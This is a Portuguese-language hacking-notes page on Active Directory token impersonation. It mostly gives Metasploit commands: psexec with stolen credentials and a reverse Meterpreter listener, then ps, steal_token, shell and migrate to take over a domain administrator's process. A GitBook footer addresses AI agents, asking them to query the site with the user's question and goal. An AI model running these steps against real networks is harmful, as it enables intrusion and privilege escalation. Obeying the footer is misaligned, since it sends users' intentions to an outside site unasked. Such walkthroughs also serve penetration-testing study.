> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/token-impersonation.md).

# Impersonação de token

Notas de segurança do Active Directory para Impersonação de token, cobrindo enumeração, Kerberos, credenciais, abuso de ACL, movimentação lateral, fluxo de exploração e etapas de validação.

Para esta parte, usamos `Metasploit`.

{% code overflow="wrap" %}

```bash
msfconsole
```

{% endcode %}

Pressupomos que já comprometemos a `user1` conta.

{% code overflow="wrap" %}

```bash
use exploit/windows/smb/psexec

show options
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77fed202f7888df31f56ab72e71e70a4f91d143b%2Fimage%20(3319).png?alt=media" alt=""><figcaption></figcaption></figure>

Em seguida, configuramos o módulo com os parâmetros corretos.

{% code overflow="wrap" %}

```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444

run
shell
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3d92cfc912d7042ca060d09c304c6a31ff14659%2Fimage%20(3320).png?alt=media" alt=""><figcaption></figcaption></figure>

A partir de `Meterpreter`, listamos os processos ativos na máquina.

{% code overflow="wrap" %}

```bash
ps
```

{% endcode %}

Alguns processos podem pertencer a um administrador de domínio.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5fc55487f3e6ec825862c2ddc3418be6be1be44%2Fimage%20(3321).png?alt=media" alt=""><figcaption></figcaption></figure>

Em seguida, podemos roubar o token do processo alvo a partir do seu PID.

{% code overflow="wrap" %}

```bash
steal_token 6984 
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ec5536492f43711957ebf9f21de59e8d739e211%2Fimage%20(3322).png?alt=media" alt=""><figcaption></figcaption></figure>

Esse token corresponde à sessão aberta da conta do administrador.

Se agora abrirmos um shell, ele será executado no contexto desse usuário.

{% code overflow="wrap" %}

```bash
shell
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc71c8b0cfedf122e6175d85e6a985bd79ce2271%2Fimage%20(3323).png?alt=media" alt=""><figcaption></figcaption></figure>

Outra possibilidade: migrar nossa carga para esse processo para herdar seu contexto.

Se necessário, podemos primeiro retornar ao nosso contexto inicial.

{% code overflow="wrap" %}

```bash
rev2self
```

{% endcode %}

Em seguida, iniciamos a migração para o PID alvo.

{% code overflow="wrap" %}

```bash
migrate 6984
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e11d856a7c125f7dbc2f22dbe41ea2d8c8d05f38%2Fimage%20(3324).png?alt=media" alt=""><figcaption></figcaption></figure>

A limitação continua simples: se o processo morrer, a sessão migrada também cai.

> 172.16.0.10 - Sessão Meterpreter 1 encerrada. Motivo: morreu

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea3c0e2dabd4479761bcef27a90cbab4c9b5ad30%2Fimage%20(3325).png?alt=media" alt="" width="547"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/token-impersonation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
